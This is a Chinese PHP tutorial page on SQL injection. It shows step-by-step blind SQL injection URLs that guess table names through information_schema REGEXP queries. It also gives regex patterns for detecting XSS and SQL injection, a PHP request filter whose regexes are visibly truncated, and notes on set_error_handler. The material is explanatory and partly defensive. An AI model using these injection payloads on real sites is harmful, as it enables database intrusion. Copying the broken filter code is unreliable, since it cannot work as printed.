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HomeBackend DevelopmentPHP Tutorialphp中常见的sql攻击正则表达式汇总_php技巧

本文实例讲述了php中常见的sql攻击正则表达式。分享给大家供大家参考。具体分析如下:

我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

复制代码 代码如下:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判断第一个字符是否是a-n中的字符

复制代码 代码如下:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 确定该字符为n

复制代码 代码如下:
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表达式的更换如下

复制代码 代码如下:
expression like this:  '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news‘ 不就行了。

5.接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。

例如:

复制代码 代码如下:
$Exec_Commond  = "( \s|\S)*(exec(\s|\+)+(s|x)p\w+)(\s|\S)*";
$Simple_XSS = "( \s|\S)*((%3C)|)(\s|\S)*";
$Eval_XSS  = "( \s|\S)*((%65)|e)(\s)*((%76)|v)(\s)*((%61)|a)(\s)*((%6C)|l)(\s|\S)*";
$Image_XSS  = "( \s|\S)*((%3C)|)(\s|\S)*" ;
$Script_XSS = "( \s|\S)*((%73)|s)(\s)*((%63)|c)(\s)*((%72)|r)(\s)*((%69)|i)(\s)*((%70)|p)(\s)*((%74)|t)(\s|\S)*";
$SQL_Injection = "( \s|\S)*((%27)|(')|(%3D)|(=)|(/)|(%2F)|(")|((%22)|(-|%2D){2})|(%23)|(%3B)|(;))+(\s|\S)*";

sql攻击代码:

复制代码 代码如下:
function customError($errno, $errstr, $errfile, $errline)
{
    echo "Error number: [$errno],error on line $errline in $errfile
";
    die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\b.+?(>| $postfilter="\b(and|or)\b.{1,6}?(=|>| $cookiefilter="\b(and|or)\b.{1,6}?(=|>| function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{   
    if(is_array($StrFiltValue))
    {
        $StrFiltValue=implode($StrFiltValue);
    }
    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1&&!isset($_REQUEST['securityToken']))
    {
        slog("

操作IP: ".$_SERVER["REMOTE_ADDR"]."
操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."
操作页面:".$_SERVER["PHP_SELF"]."
提交方式: ".$_SERVER["REQUEST_METHOD"]."
提交参数: ".$StrFiltKey."
提交数据: ".$StrFiltValue);
        print "result notice:Illegal operation!";
        exit();
    }
}
foreach($_GET as $key=>$value)
{
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value)
{
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value)
{
    StopAttack($key,$value,$cookiefilter);
}
  
function slog($logs)
{
    $toppath="log.htm";
    $Ts=fopen($toppath,"a+");
    fputs($Ts,$logs."rn");
    fclose($Ts);
}
?>

sql分析:

如果使用这个函数的话,这个函数会绕开PHP的标准出错处理,所以说得自己定义报错处理程序(die())。
其次,如果代码执行前就发生了错误,那个时候用户自定义的程序还没有执行,所以就不会用到用户自己写的报错处理程序。 

那么,PHP里有一套错误处理机制,可以使用set_error_handler()接管PHP错误处理,也可以使用trigger_error()函数主动抛出一个错误。

set_error_handler()函数设置用户自定义的错误处理函数。函数用于创建运行期间的用户自己的错误处理方法。它需要先创建一个错误处理函数,然后设置错误级别。   
关于的用法:

复制代码 代码如下:
function customError($errno, $errstr, $errfile, $errline)
{
  echo "错误代码: [${errno}] ${errstr}\r\n";
  echo " 错误所在的代码行: {$errline} 文件{$errfile}\r\n";
   echo " PHP版本 ",PHP_VERSION, "(" , PHP_OS, ")\r\n";
  // die();
}
set_error_handler("customError",E_ALL| E_STRICT);

总结

PHP遇到错误时,就会给出出错脚本的位置、行数和原因,有很多人说,这并没有什么大不了。但泄露了实际路径的后果是不堪设想的,对于某些入侵者,这个信息可是非常重要,而事实上现在有很多的服务器都存在这个问题。 有些网管干脆把PHP配置文件中的 display_errors 设置为 Off 来解决,但本人认为这个方法过于消极。有些时候,我们的确需要PHP返回错误的信息以便调试。而且在出错时也可能需要给用户一个交待,甚至导航到另一页面。但是有了set_error_handler()之后,这些矛盾也都可以解决掉了。但是发现很少用这个函数。

希望本文所述对大家的PHP程序设计有所帮助。

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